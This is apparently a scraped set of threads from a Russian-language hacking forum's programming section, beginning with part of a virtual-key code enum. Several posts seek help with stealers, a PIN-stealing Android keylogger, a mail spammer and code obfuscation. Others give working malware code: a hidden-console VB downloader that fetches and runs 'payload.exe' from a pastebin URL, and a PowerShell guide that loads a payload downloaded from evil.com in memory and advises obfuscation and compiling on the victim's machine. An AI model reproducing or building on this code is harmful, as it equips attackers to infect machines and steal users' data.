            VK_NEXT = 0x22,          // Page Down
            VK_END = 0x23,           // End
            VK_HOME = 0x24,          // Home key
            VK_LEFT = 0x25,          // Arrow Left
            VK_UP = 0x26,            // Arrow Up
            VK_RIGHT = 0x27,         // Arrow Right
            VK_DOWN = 0x28,          // Arrow Down
            VK_SELECT = 0x29,        // Select
            VK_PRINT = 0x2A,         // Print
            VK_EXECUTE = 0x2B,       // Execute
            VK_SNAPSHOT = 0x2C,      // Print Screen
            VK_INSERT = 0x2D,        // Insert
            VK_DELETE = 0x2E,        // Delete
            VK_HELP = 0x2F,          // Help
            VK_LWIN = 0x5B,          // Left Win
            VK_RWIN = 0x5C,          // Right Win
            VK_APPS = 0x5D,          // Context Menu
            VK_SLEEP = 0x5F,         // Sleep

            VK_KEY_0 = 0x30,         // 0
            VK_KEY_1 = 0x31,         // 1
            VK_KEY_2 = 0x32,         // 2
            VK_KEY_3 = 0x33,         // 3
            VK_KEY_4 = 0x34,         // 4
            VK_KEY_5 = 0x35,         // 5
            VK_KEY_6 = 0x36,         // 6
            VK_KEY_7 = 0x37,         // 7
            VK_KEY_8 = 0x38,         // 8
            VK_KEY_9 = 0x39,         // 9

            VK_KEY_A = 0x41,         // A
            VK_KEY_B = 0x42,         // B
            VK_KEY_C = 0x43,         // C
            VK_KEY_D = 0x44,         // D
            VK_KEY_E = 0x45,         // E
            VK_KEY_F = 0x46,         // F
            VK_KEY_G = 0x47,         // G
            VK_KEY_H = 0x48,         // H
            VK_KEY_I = 0x49,         // I
            VK_KEY_J = 0x4A,         // J
            VK_KEY_K = 0x4B,         // K
            VK_KEY_L = 0x4C,         // L
            VK_KEY_M = 0x4D,         // M
            VK_KEY_N = 0x4E,         // N
            VK_KEY_O = 0x4F,         // O
            VK_KEY_P = 0x50,         // P
            VK_KEY_Q = 0x51,         // Q
            VK_KEY_R = 0x52,         // R
            VK_KEY_S = 0x53,         // S
            VK_KEY_T = 0x54,         // T
            VK_KEY_U = 0x55,         // U
            VK_KEY_V = 0x56,         // V
            VK_KEY_W = 0x57,         // W
            VK_KEY_X = 0x58,         // X
            VK_KEY_Y = 0x59,         // Y
            VK_KEY_Z = 0x5A,         // Z

            VK_NUMPAD0 = 0x60,       // Numpad 0
            VK_NUMPAD1 = 0x61,       // Numpad 1
            VK_NUMPAD2 = 0x62,       // Numpad 2
            VK_NUMPAD3 = 0x63,       // Numpad 3
            VK_NUMPAD4 = 0x64,       // Numpad 4
            VK_NUMPAD5 = 0x65,       // Numpad 5
            VK_NUMPAD6 = 0x66,       // Numpad 6
            VK_NUMPAD7 = 0x67,       // Numpad 7
            VK_NUMPAD8 = 0x68,       // Numpad 8
            VK_NUMPAD9 = 0x69,       // Numpad 9
            VK_MULTIPLY = 0x6A,      // Numpad *
            VK_ADD = 0x6B,           // Numpad +
            VK_SEPARATOR = 0x6C,     // Separator
            VK_SUBTRACT = 0x6D,      // Num -
            VK_DECIMAL = 0x6E,       // Numpad .
            VK_DIVIDE = 0x6F,        // Numpad /

            VK_F1 = 0x70,            // F1
            VK_F2 = 0x71,            // F2
            VK_F3 = 0x72,            // F3
            VK_F4 = 0x73,            // F4
            VK_F5 = 0x74,            // F5
            VK_F6 = 0x75,            // F6
            VK_F7 = 0x76,            // F7
            VK_F8 = 0x77,            // F8
            VK_F9 = 0x78,            // F9
            VK_F10 = 0x79,           // F10
            VK_F11 = 0x7A,           // F11
            VK_F12 = 0x7B,           // F12
            VK_F13 = 0x7C,           // F13
            VK_F14 = 0x7D,           // F14
            VK_F15 = 0x7E,           // F15
            VK_F16 = 0x7F,           // F16
            VK_F17 = 0x80,           // F17
            VK_F18 = 0x81,           // F18
            VK_F19 = 0x82,           // F19
            VK_F20 = 0x83,           // F20
            VK_F21 = 0x84,           // F21
            VK_F22 = 0x85,           // F22
            VK_F23 = 0x86,           // F23
            VK_F24 = 0x87,           // F24

            VK_NUMLOCK = 0x90,       // Num Lock
            VK_SCROLL = 0x91,        // Scrol Lock

            VK_OEM_NEC_EQUAL = 0x92, //
            VK_OEM_FJ_JISHO = 0x92,  // Jisho
            VK_OEM_FJ_MASSHOU = 0x93,// Mashu
            VK_OEM_FJ_TOUROKU = 0x94,// Touroku
            VK_OEM_FJ_LOYA = 0x95,   // Loya
            VK_OEM_FJ_ROYA = 0x96,   // Roya

            VK_LSHIFT = 0xA0,        // Left Shift
            VK_RSHIFT = 0xA1,        // Right Shift
            VK_LCONTROL = 0xA2,      // Left Ctrl
            VK_RCONTROL = 0xA3,      // Right Ctrl
            VK_LMENU = 0xA4,         // Left Alt
            VK_RMENU = 0xA5,         // Right Alt

            VK_BROWSER_BACK = 0xA6,  // Browser Back
            VK_BROWSER_FORWARD = 0xA7, // Browser Forward
            VK_BROWSER_REFRESH = 0xA8, // Browser Refresh
            VK_BROWSER_STOP = 0xA9,    // Browser Stop
            VK_BROWSER_SEARCH = 0xAA,  // Browser Search
            VK_BROWSER_FAVORITES = 0xAB, // Browser Favorites
            VK_BROWSER_HOME = 0xAC,      // Browser Home

            VK_VOLUME_MUTE = 0xAD,       // Volume Mute
            VK_VOLUME_DOWN = 0xAE,       // Volume Down
            VK_VOLUME_UP = 0xAF,         // Volume Up

            VK_MEDIA_NEXT_TRACK = 0xB0,  // Next Track
            VK_MEDIA_PREV_TRACK = 0xB1,  // Previous Track
            VK_MEDIA_STOP = 0xB2,        // Stop
            VK_MEDIA_PLAY_PAUSE = 0xB3,  // Play / Pause

            VK_LAUNCH_MAIL = 0xB4,          // Mail
            VK_LAUNCH_MEDIA_SELECT = 0xB5,  // Media
            VK_LAUNCH_APP1 = 0xB6,          // App1
            VK_LAUNCH_APP2 = 0xB7,          // App2

            VK_OEM_PLUS = 0xBB,             // OEM_PLUS (+ =)
            VK_OEM_COMMA = 0xBC,            // OEM_COMMA (< ,)
            VK_OEM_MINUS = 0xBD,            // OEM_MINUS (_ -)
            VK_OEM_PERIOD = 0xBE,           // OEM_PERIOD (> .)

            VK_OEM_1 = 0xBA,                // OEM_1 (: ;)
            VK_OEM_2 = 0xBF,                // OEM_2 (? /)
            VK_OEM_3 = 0xC0,                // OEM_3 (~ `)
            VK_OEM_4 = 0xDB,                // OEM_4 ({ [)
            VK_OEM_5 = 0xDC,                // OEM_5 (| \)
            VK_OEM_6 = 0xDD,                // OEM_6 (} ])
            VK_OEM_7 = 0xDE,                // OEM_7 (" ')
            VK_OEM_8 = 0xDF,                // OEM_8 (§ !)
            VK_OEM_AX = 0xE1,               // Ax
            VK_OEM_102 = 0xE2,              // OEM_102 (> <)

            VK_ICO_HELP = 0xE3,             // IcoHlp
            VK_ICO_00 = 0xE4,               // Ico00 *
            VK_ICO_CLEAR = 0xE6,            // IcoClr

            VK_PROCESSKEY = 0xE5,           // Process
            VK_PACKET = 0xE7,               // Packet

            VK_OEM_RESET = 0xE9,            // Reset
            VK_OEM_JUMP = 0xEA,             // Jump
            VK_OEM_PA1 = 0xEB,              // OemPa1
            VK_OEM_PA2 = 0xEC,              // OemPa2
            VK_OEM_PA3 = 0xED,              // OemPa3
            VK_OEM_WSCTRL = 0xEE,           // WsCtrl
            VK_OEM_CUSEL = 0xEF,            // Cu Sel
            VK_OEM_ATTN = 0xF0,             // Oem Attn
            VK_OEM_FINISH = 0xF1,           // Finish
            VK_OEM_COPY = 0xF2,             // Copy
            VK_OEM_AUTO = 0xF3,             // Auto
            VK_OEM_ENLW = 0xF4,             // Enlw
            VK_OEM_BACKTAB = 0xF5,          // Back Tab

            VK_ATTN = 0xF6,                 // Attn
            VK_CRSEL = 0xF7,                // Cr Sel
            VK_EXSEL = 0xF8,                // Ex Sel
            VK_EREOF = 0xF9,                // Er Eof
            VK_PLAY = 0xFA,                 // Play
            VK_ZOOM = 0xFB,                 // Zoom
            VK_NONAME = 0xFC,               // NoName
            VK_PA1 = 0xFD,                  // Pa1
            VK_OEM_CLEAR = 0xFE,            // OemClr

            VK_ABNT_C1 = 0xC1,              // Abnt C1
            VK_ABNT_C2 = 0xC2,              // Abnt C2
            VK__none_ = 0xFF,               // no VK mapping
        }
Посоветуйте обусификацию для C++
ID: 6765d804b4103b69df375794
Thread ID: 97741
Created: 2023-09-10T11:06:46+0000
Last Post: 2023-09-13T15:00:28+0000
Author: AegisCrypter
Replies: 11 Views: 612

Посоветуйте обусификацию для C++

Нужен обусификатор для приложения c++.
протекторы не предлагать

cookies grouping and netscape conversion C/C++ (for stealer)
ID: 6765d804b4103b69df3756fc
Thread ID: 101621
Created: 2023-11-04T19:08:22+0000
Last Post: 2024-05-20T11:01:55+0000
Author: 3c2n90yt57489t3y8794
Replies: 2 Views: 611

Hello, do you know a code or a very small library I can use in C/C++ to organize cookies in netscape format?

(VB) Download & Execute from pastebin raw on your own RAW
ID: 6765d804b4103b69df375998
Thread ID: 52759
Created: 2021-06-10T14:00:23+0000
Last Post: 2021-06-10T14:00:23+0000
Author: EmeliRouse
Replies: 0 Views: 611

Hidden content for authorized users.

Code:Copy to clipboard

Imports System.Net, Microsoft.VisualBasic.CompilerServices, System.IO
Imports System.Text


Module Module1
    Public Property T As Object

    Private Declare Auto Function ShowWindow Lib "user32.dll" (ByVal hWnd As IntPtr, ByVal nCmdShow As Integer) As Boolean
    Private Declare Auto Function GetConsoleWindow Lib "kernel32.dll" () As IntPtr
    Private Const SW_HIDE As Integer = 0


    Sub Main ()

        Dim hWndConsole As IntPtr
        hWndConsole = GetConsoleWindow ()
        ShowWindow (hWndConsole, SW_HIDE)

        My.Computer.FileSystem.CreateDirectory (My.Computer.FileSystem.SpecialDirectories.Temp & "\ MyTemp")

        If My.Computer.FileSystem.FileExists (My.Computer.FileSystem.SpecialDirectories.Temp & "\ MyTemp" & "\ payload.exe") Then
            My.Computer.FileSystem.DeleteFile (My.Computer.FileSystem.SpecialDirectories.Temp & "\ MyTemp" & "\ payload.exe")
        Else

        End If

        Dim WCc As New System.Net.WebClient

        Dim http3 As String = WCc.DownloadString ("http: // your ip or pastebin / text.txt")
        Dim remoteUrii As String = http3
        Dim fileName As String = "payload.exe"
        Using client As New WebClient ()
            client.DownloadFile (remoteUrii, My.Computer.FileSystem.SpecialDirectories.Temp & "\ MyTemp \" & fileName)
            Process.Start (My.Computer.FileSystem.SpecialDirectories.Temp & "\ MyTemp \" & fileName)
        End Using

    End Sub

End Module
Пампер .ехе c#
ID: 6765d804b4103b69df3756d0
Thread ID: 121297
Created: 2024-08-23T11:08:45+0000
Last Post: 2024-08-23T18:42:40+0000
Author: Goty
Replies: 4 Views: 606

Простой пампер файлов , работает , но есть один нюанс , после добавления раздутого файла в архив , файл не сжимается , например памп 750 МБ , то и архив 750 МБ .
Как это исправить ?)

C#:Copy to clipboard

using System;
using System.IO;

class Program
{
    static void Main(string[] args)
    {
        Console.WriteLine("Введите путь к файлу:");
        string filePath = Console.ReadLine();

        if (File.Exists(filePath))
        {
            Console.WriteLine("Введите размер пампа в МБ:");
            if (long.TryParse(Console.ReadLine(), out long pumpSizeMB))
            {
                long targetSize = pumpSizeMB * 1024 * 1024; // Конвертируем в байты
                byte[] originalFile = File.ReadAllBytes(filePath);

                if (originalFile.Length < targetSize)
                {
                    using (FileStream fileStream = new FileStream(filePath, FileMode.Create))
                    {
                        // Записываем оригинальный файл
                        fileStream.Write(originalFile, 0, originalFile.Length);

                        // Создаем и записываем "памп"
                        byte[] pumpData = new byte[targetSize - originalFile.Length];
                        new Random().NextBytes(pumpData);
                        fileStream.Write(pumpData, 0, pumpData.Length);
                        fileStream.Flush(); // Обеспечиваем завершение записи
                    }


                    Console.WriteLine($"Файл успешно пампирован до {pumpSizeMB} МБ!");
                }
                else
                {
                    Console.WriteLine("Размер оригинального файла уже превышает указанный размер.");
                }
            }
            else
            {
                Console.WriteLine("Некорректный ввод размера.");
            }
        }
        else
        {
            Console.WriteLine("Файл не найден.");
        }
    }
}
VSYNC на GDI
ID: 6765d804b4103b69df375918
Thread ID: 61354
Created: 2022-01-13T20:21:25+0000
Last Post: 2022-01-18T08:58:58+0000
Author: shkolnick1337
Replies: 3 Views: 605

Есть которые делали игры на GDI?
Вопрос есть в том как сделать что то подобное вертикальной синхронизации, что бы было збс всё. Обычный sleep(100) ну совсем не подходит - глазки плачут. Да в теме новичек по сути, проясните пожалуйста как обновлять нормально в игровом цикле картинку

Byte to file C++
ID: 6765d804b4103b69df37584a
Thread ID: 78017
Created: 2022-12-13T13:17:03+0000
Last Post: 2022-12-13T21:33:48+0000
Author: uglydavidka
Replies: 6 Views: 605

Допустим, у меня есть:
.dat файл в котором у меня записан массив чисел (байтов моего dll файла), я скачиваю этот дат файл, (далее именно то в чем нужна помощь) считываю байты и записываю их в массив, собираю из байтов свой длл файл на диск С (к примеру)

Надеюсь понятно понял, а проще говоря мне нужно понять как считать байты из Строк, и собрать из него файл

Workers Pool WinApi
ID: 6765d804b4103b69df3759df
Thread ID: 47941
Created: 2021-02-11T11:23:46+0000
Last Post: 2021-02-12T14:50:45+0000
Author: Jeffs
Replies: 4 Views: 605

В общем. Нужно было реализовать пул воркеров, я как обычно пошёл в гугл, в поисках костылей. Но костыли писать не пришлось, как оказалось, винда их реализовала за меня (<https://docs.microsoft.com/en- us/windows/win32/procthread/using-the-thread-pool-functions>). Почитал доки, реализовал:

C:Copy to clipboard

#include <windows.h>
#include <stdio.h>

#define WORK_ITEMS_COUNT 10
#define WORKERS_COUNT 2

struct WorkItem
{
    SLIST_ENTRY entry;
    ULONG data;
};

void CALLBACK ProcessItem(PTP_CALLBACK_INSTANCE Instance, PVOID Context, PTP_WORK Work)
{
    PSLIST_ENTRY listEntry = nullptr;
    WorkItem* item = nullptr;

    item = (WorkItem*)InterlockedPopEntrySList((PSLIST_HEADER)Context);
    wprintf(L"worker: tid = %d, data = %d\n", GetCurrentThreadId(), item->data);
    _aligned_free(listEntry);
}

PSLIST_HEADER InitWorkItems()
{
    PSLIST_HEADER listHead;
    WorkItem* item;

    listHead = (PSLIST_HEADER)_aligned_malloc(sizeof(SLIST_HEADER), MEMORY_ALLOCATION_ALIGNMENT);
    InitializeSListHead(listHead);

    for (int i = 0; i < WORK_ITEMS_COUNT; i++)
    {
        item = (WorkItem*)_aligned_malloc(sizeof(WorkItem), MEMORY_ALLOCATION_ALIGNMENT);
        item->data = i;
        InterlockedPushEntrySList(listHead, &(item->entry));
    }

    return listHead;
}

int main()
{
    PSLIST_HEADER workItems = nullptr;
    TP_CALLBACK_ENVIRON callbackEnv;
    PTP_POOL pool = nullptr;
    PTP_WORK work = nullptr;

    workItems = InitWorkItems();

    InitializeThreadpoolEnvironment(&callbackEnv);
    pool = CreateThreadpool(nullptr);

    SetThreadpoolThreadMaximum(pool, WORKERS_COUNT);

    SetThreadpoolCallbackPool(&callbackEnv, pool);

    work = CreateThreadpoolWork(ProcessItem, (LPVOID)workItems, &callbackEnv);
   
    for (int i = 0; i < WORK_ITEMS_COUNT; i++)
        SubmitThreadpoolWork(work);

    WaitForThreadpoolWorkCallbacks(work, FALSE);

    _aligned_free(workItems);

    CloseThreadpool(pool);
}

Надеюсь эта заметка кому-то скоротает вечерок, как и мне :)

Visual Studio 2017
ID: 6765d804b4103b69df375900
Thread ID: 62926
Created: 2022-02-13T21:12:50+0000
Last Post: 2022-02-14T18:25:40+0000
Author: Equi
Replies: 1 Views: 604

У кого есть вс 17 под рукой, соберите, пожалуйста, проект https://github.com/med0x2e/ExecuteAssembly под х86 и х64. С меня плюсик в карму. =)

Что лучше изучать C++/C# чтобы попасть куда-то на стажеровку?
ID: 6765d804b4103b69df3756fe
Thread ID: 114215
Created: 2024-05-09T19:55:17+0000
Last Post: 2024-05-20T06:42:40+0000
Author: Alexey18
Replies: 2 Views: 601

Я владею Sockets, Web Server, Базы данных, работа c SQL и по мелочи работа с апи телеги и дискорда. в целом пишу на WPF, WinForms. Владею ООП, уровень думаю чуть выше среднего. Это я щас в целом сказал о (C#/C++). Имею писать парсеры под сайты.(делал парсы товарки).
владею WinAPI из под шарпов и плюсов. Ну в общем так.

Посоветуйте что изучать, что востребовано(только пж не геймдев) на уровень стажёра?
Реально ли на стажерку куда-то попасть на шарпы/плюсы с таким опытом, хоть за копейки? Опыт из белого фриланс как таковой.
Хочется опыта набраться тупо.

Android Java; Проблема с Keylogger (Hook)
ID: 6765d804b4103b69df375702
Thread ID: 113741
Created: 2024-05-02T13:02:46+0000
Last Post: 2024-05-11T09:55:44+0000
Author: XDRevil
Replies: 3 Views: 599

Пытаюсь фиксануть чтоб пин-коды воровал (ворует только с обрывом)

Исполнение джавы в памяти
ID: 6765d804b4103b69df375824
Thread ID: 80645
Created: 2023-01-25T15:01:31+0000
Last Post: 2023-02-09T10:15:53+0000
Author: CCod
Replies: 3 Views: 598

Как в джаве можно выполнить jar файл в памяти без касания диска? Например я хочу загрузить файл с сервера и исполнить его не дропая на диск .

Отправка мыла
ID: 6765d804b4103b69df375910
Thread ID: 61781
Created: 2022-01-21T19:36:36+0000
Last Post: 2022-01-28T05:18:30+0000
Author: Ags1of
Replies: 6 Views: 597

Короче, проблема такова: есть спамер для малы(почта), но, после нескольких минут использования, сообщения начинают идти в спам. Мне надо как-то сделать так, чтобы юзались прохи. Парс прокси и распределение их я сам сделаю, помогите реализовать код, чтобы туда подставлялся прокси найденный и с него отправлялось нужное сообщение.

(C) Ошибка при отправке HTTP-TLS GET
ID: 6765d804b4103b69df375785
Thread ID: 98611
Created: 2023-09-22T12:45:44+0000
Last Post: 2023-10-06T13:48:38+0000
Author: acc2ss
Replies: 5 Views: 595

Я пишу скрипт на C
Пытаюсь отправить HTTP-TLS GET запрос к своему дстату
Конект проходит
GET запрос нет

Если кто-то может помочь, отпишите в лс форума.

C++ create hard link NT
ID: 6765d804b4103b69df3759ba
Thread ID: 50891
Created: 2021-04-21T02:12:45+0000
Last Post: 2021-04-21T02:12:45+0000
Author: premiumcat
Replies: 0 Views: 593

C:Copy to clipboard

int create_link( LPCWSTR lpExistingFileName, LPCWSTR lpLinkName )
{
    NTSTATUS status;
    
    UNICODE_STRING OldFileName;
    UNICODE_STRING NewFileName;
    
    OBJECT_ATTRIBUTES OldObject;
    OBJECT_ATTRIBUTES NewObject;
    
    IO_STATUS_BLOCK OldIoStatusBlock;
    PFILE_LINK_INFORMATION NewName;

    HANDLE OldFileHandle, NewFileHandle = INVALID_HANDLE_VALUE;

    OldFileName.Buffer = NULL;
    NewFileName.Buffer = NULL;

    NTLIB32.RtlInitUnicodeString( &OldFileName, lpExistingFileName );

    InitializeObjectAttributes(
        &OldObject,
        &OldFileName,
        OBJ_CASE_INSENSITIVE,
        NULL,
        NULL
    );

    status = NTLIB32.NtOpenFile(
        &OldFileHandle,
        FILE_WRITE_ATTRIBUTES | SYNCHRONIZE,
        &OldObject,
        &OldIoStatusBlock,
        FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
        FILE_FLAG_OPEN_REPARSE_POINT | FILE_SYNCHRONOUS_IO_NONALERT
    );

    NTLIB32.RtlInitUnicodeString( &NewFileName, lpLinkName );
    InitializeObjectAttributes(
        &NewObject,
        &NewFileName,
        OBJ_CASE_INSENSITIVE,
        NULL,
        NULL
    );
    
    NewName = ( PFILE_LINK_INFORMATION ) malloc ( NewFileName.Length + sizeof( *NewName ) );
    memmove( NewName->FileName, NewFileName.Buffer, NewFileName.Length );
    NewName->ReplaceIfExists = FALSE;
    NewName->RootDirectory = NULL;
    NewName->FileNameLength = NewFileName.Length;
    
    status = NTLIB32.NtSetInformationFile(
        OldFileHandle,
        &OldIoStatusBlock,
        NewName,
        NewFileName.Length + sizeof( *NewName ),
        11
    );

    switch ( status )
    {
        case 00000000:
        {
            if ( OldFileHandle != INVALID_HANDLE_VALUE )
            {
                if ( NTLIB32.NtClose( OldFileHandle ) == 00000000 )
                {
                    return 0;
                }
            }
        }
    }

    return -1;
}
Powershell In-File Execution of C# Code
ID: 6765d804b4103b69df375865
Thread ID: 76349
Created: 2022-11-21T17:04:34+0000
Last Post: 2022-11-21T22:03:24+0000
Author: camel
Prefix: Мануал/Книга
Replies: 2 Views: 591

Explanation​

Firstly, we need to understand the most common way of loading C#, via an executable:

  • Fetch executable content and encapsulate in a byte array.
  • Load executable content using [System.Reflection.Assembly]::load() method.
  • Use Reflection to execute our loaded assembly.

The code below follows these steps:

Code:Copy to clipboard

$bytes = (Invoke-WebRequest "https://evil.com/evilexe.exe").Content
$loadedAssembly = [System.Reflection.Assembly]::Load($bytes)

# Create entrypoint object and call it.

$entry =
$loadedAssembly.GetType("NAMSPACE.CLASS_NAME").
   GetMethod('STATIC_METHOD_NAME', [Reflection.BindingFlags] 'Static, Public, NonPublic')

$entry.Invoke($null)

C# Strings​

Instead of compiling and downloading an executable, why don’t we just supply a multiline string with our desired C# code and “load” it like so:

Code:Copy to clipboard

Add-Type @" using System; public class Payload {   
    static void Execute() {
        while (true) {
            Console.WriteLine("1337");        
        }    
    } 
 } "@ 

$pl = New-Object Payload $pl.Execute()

Of course be sure to obfuscate your strings, best way to use this method is as a stager for another malicious process. You could also compile your code on the victim machine to evade defense.

CSC.EXE​

The C Sharp Compiler, aka CSC.EXE, is a command line utility for compiling .NET projects into PE's. Youy can invoke this on the victims machine after writing your obfuscated code to a temp file, and compile your PE payload on- machine.

ARM 7
ID: 6765d804b4103b69df375722
Thread ID: 106563
Created: 2024-01-24T12:09:57+0000
Last Post: 2024-03-25T20:16:53+0000
Author: Marti71
Replies: 8 Views: 589

Всем привет, столкнулся с проблемой как скомпилить под арм 7 на дебиане или винде, со старым GLIB может кто-то может подсказать?

C++ create folder NT
ID: 6765d804b4103b69df3759bb
Thread ID: 50890
Created: 2021-04-21T02:11:43+0000
Last Post: 2021-04-21T02:11:43+0000
Author: premiumcat
Replies: 0 Views: 587

C:Copy to clipboard

int create_folder( LPCWSTR lpHiddenFolder )
{
    NTSTATUS status;

    UNICODE_STRING fn;
    
    OBJECT_ATTRIBUTES object;
    IO_STATUS_BLOCK ioStatus;
    
    HANDLE out;
    
    memset( &ioStatus, 0, sizeof( ioStatus ) );
    memset( &object, 0, sizeof( object ) );
    object.Length = sizeof( object );
    object.Attributes = OBJ_CASE_INSENSITIVE;
    
    NTLIB32.RtlInitUnicodeString( &fn, lpHiddenFolder );
    
    object.ObjectName = &fn;
    
    status = NTLIB32.NtCreateFile( &out, GENERIC_WRITE, &object, &ioStatus, NULL,
              FILE_ATTRIBUTE_NORMAL, 0, FILE_CREATE, FILE_DIRECTORY_FILE, NULL,
              0 );

    switch( status )
    {
        case 0xc0000035:
        {
            return 35;
        }
        case 00000000:
        {
            if ( NTLIB32.NtClose( out ) == 00000000 )
            {
                return 0;
            }
        }
    }
    return 1;
}
[HELP] - Windows Reducing File Size
ID: 6765d804b4103b69df375a28
Thread ID: 41831
Created: 2020-09-07T04:58:43+0000
Last Post: 2020-09-07T04:58:43+0000
Author: plexus
Replies: 0 Views: 583

As the title suggests, I am trying to reduce my file size without relying on external packers/services. What visual studio settings do you use and tricks do you use for optimizing/reducing the filesize of your binaries. Currently I am just choosing the option of favoring small size and statically linking my binaries. Is it worth using loadlibrary for all your windows functions for reducing size? :) Responses are appreciated!

Посовейтуйте идеи для ПО(С++)
ID: 6765d804b4103b69df375888
Thread ID: 63385
Created: 2022-02-23T08:21:22+0000
Last Post: 2022-10-06T12:39:51+0000
Author: quiedcpp
Replies: 13 Views: 581

Всем привет, на форуме новичек, пишу на С++, но кроме лабораторных студентам дальше не заходил пока что, что можете посоветовать, какие полезные программы можно писать что бы продавать их потом, в ознакомительных целях было бы интересно послушать и о идеях для вредоносного ПО.

Также можете написать в телеграмм @onlyinc

Книга "Экстремальный Си. Параллелизм, ООП и продвинутые возможности"
ID: 6765d804b4103b69df375878
Thread ID: 74807
Created: 2022-10-28T07:53:21+0000
Last Post: 2022-10-28T08:09:04+0000
Author: handersen
Prefix: Мануал/Книга
Replies: 1 Views: 580

Камран Амини Extreme C / Экстремальный Си. Параллелизм, ООП и продвинутые возможности.

кто разбирается в ардуино помогите!
ID: 6765d804b4103b69df375952
Thread ID: 58430
Created: 2021-11-02T14:33:47+0000
Last Post: 2021-11-06T18:32:12+0000
Author: maloy
Replies: 21 Views: 580

Писал код в ардуино для bad usb

Spoiler: Кабель

[ https://aliexpress.ru/item/4000358004044.html?af=1954_681229&aff_fcid=13328c68dcea4e27abddf519660082c2-1635863482656-05386-_9R0atP&aff_fsk=_9R0atP&aff_platform=api- new-link- generate&aff_trace_key=13328c68dcea4e27abddf519660082c2-1635863482656-05386-_9R0atP&algo_expid=0c4da265-8991-42d6-9f27-f5b46e7c489d-8&algo_pvid=0c4da265-8991-42d6-9f27-f5b46e7c489d&btsid=0b8b034e15818461352751950e2e10&cn=12r1y8c8f1ztws45x65f8w25uah27zk6&cv=2&dp=12r1y8c8f1ztws45x65f8w25uah27zk6&sk=_9R0atP&sku_id=10000001475502250&terminal_id=b1ee9878f8824627bc05f1b332ea52fc&utm_campaign=1954_681229&utm_content=2&utm_medium=cpa&utm_source=aerkol&ws_ab_test=searchweb0_0 ](https://aliexpress.ru/item/4000358004044.html?af=1954_681229&aff_fcid=13328c68dcea4e27abddf519660082c2-1635863482656-05386-_9R0atP&aff_fsk=_9R0atP&aff_platform=api- new-link- generate&aff_trace_key=13328c68dcea4e27abddf519660082c2-1635863482656-05386-_9R0atP&algo_expid=0c4da265-8991-42d6-9f27-f5b46e7c489d-8&algo_pvid=0c4da265-8991-42d6-9f27-f5b46e7c489d&btsid=0b8b034e15818461352751950e2e10&cn=12r1y8c8f1ztws45x65f8w25uah27zk6&cv=2&dp=12r1y8c8f1ztws45x65f8w25uah27zk6&sk=_9R0atP&sku_id=10000001475502250&terminal_id=b1ee9878f8824627bc05f1b332ea52fc&utm_campaign=1954_681229&utm_content=2&utm_medium=cpa&utm_source=aerkol&ws_ab_test=searchweb0_0)

вот сам код

C++:Copy to clipboard

#include <Keyboard.h>

void setup() {
  // put your setup code here, to run once:
  // Инициализируем клавиатуру
  Keyboard.begin();
  // Нажимаем win на левой стороне клавиатуры, чтобы построить
  Keyboard.press(KEY_LEFT_GUI);
  // Задержка заставляет систему реагировать
  delay(500);
  // Нажимаем клавишу r
  Keyboard.press('r');
  delay(100);
  // Отпускаем две кнопки
  Keyboard.releaseAll();
  // Включить верхний регистр, чтобы запретить китайский метод ввода
  Keyboard.press(KEY_CAPS_LOCK);
  Keyboard.release(KEY_CAPS_LOCK);
  delay(200);
  // Вводим CMD
  Keyboard.println("CMD");
    delay(300);
  //Войти
  Keyboard.press(KEY_RETURN);
 
  Keyboard.release(KEY_RETURN);
}

void loop() {

 
}

Но выходит ошибка

Spoiler: ОШИБКА

Arduino: 1.8.17 Hourly Build 2021/09/06 02:33 (Windows 10), Плата:"Arduino Leonardo"

Скетч использует 5424 байт (18%) памяти устройства. Всего доступно 28672 байт.

Глобальные переменные используют 230 байт (8%) динамической памяти, оставляя 2330 байт для локальных переменных. Максимум: 2560 байт.

processing.app.debug.RunnerException

at cc.arduino.packages.uploaders.SerialUploader.uploadUsingPreferences(SerialUploader.java:152)

at cc.arduino.UploaderUtils.upload(UploaderUtils.java:77)

at processing.app.SketchController.upload(SketchController.java:732)

at processing.app.SketchController.exportApplet(SketchController.java:703)

at processing.app.Editor$UploadHandler.run(Editor.java:2061)

at java.lang.Thread.run(Thread.java:748)

Caused by: processing.app.SerialException: Ошибка создания последовательного порта "COM1"

at processing.app.Serial.touchForCDCReset(Serial.java:107)

at cc.arduino.packages.uploaders.SerialUploader.uploadUsingPreferences(SerialUploader.java:136)

... 5 more

Caused by: jssc.SerialPortException: Port name - COM1; Method name - openPort(); Exception type - Port busy.

at jssc.SerialPort.openPort(SerialPort.java:164)

at processing.app.Serial.touchForCDCReset(Serial.java:101)

... 6 more

Произошла ошибка при загрузке скетча

Этот отчёт будет иметь больше информации с
включенной опцией Файл -> Настройки ->
"Показать подробный вывод во время компиляции"

Помогите пожалуйста как исправить

Automatic login through SendMessage
ID: 6765d804b4103b69df375a21
Thread ID: 42259
Created: 2020-09-19T08:17:15+0000
Last Post: 2020-09-19T08:17:15+0000
Author: 1stetcgoldmedal
Replies: 0 Views: 579

C#:Copy to clipboard

using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Windows.Forms;

public class Program
{
    //include FindWindowEx
    [DllImport("user32.dll")]
    public static extern IntPtr FindWindowEx(IntPtr hwndParent, IntPtr hwndChildAfter, string lpszClass, string lpszWindow);


    [DllImport("user32.dll")]
    public static extern int SendMessage(IntPtr hWnd, int uMsg, int wParam, int lParam);

    //include SendMessage
    [DllImport("user32.dll")]
    public static extern int SendMessage(IntPtr hWnd, int uMsg, int wParam, string lParam);
    
    [DllImport("user32.dll")]
    public static extern IntPtr SendMessage(IntPtr hWnd, int uMsg, IntPtr wParam, IntPtr lParam);

    //this is a constant indicating the window that we want to send a text message
    const int WM_SETTEXT = 0X000C;
    const int WM_KEYDOWN = 0x0100;
    const int WM_KEYUP = 0x0101;
    static void Main(string[] args)
    {
        //getting notepad's process | at least one instance of notepad must be running
        Process notepadProccess = Process.GetProcessesByName("Codns3")[0];

        //getting notepad's textbox handle from the main window's handle
        //the textbox is called 'Edit'
        IntPtr notepadTextbox = FindWindowEx(notepadProccess.MainWindowHandle, IntPtr.Zero, "Edit", null);//창핸들

        SendMessage(notepadTextbox, WM_SETTEXT, 0, "MYID");
    }
}

Each time you start a specific selection radio form followed by
You must enter your nickname & password & a specific decimal integer.
Nicknames and passwords are automatically saved, but you have to re-enter a specific decimal number every time you reboot your computer, and you have to go through a specific radio form when you first start.
Dumb system. I want to do this automatically when the computer is turned on.
By registering in the startup program.
The progress so far has been completed until entering my specific ID in the text box.
I need to add "Tab" & "Enter" & "Up Arrow" in the future.
Can you help me with this?

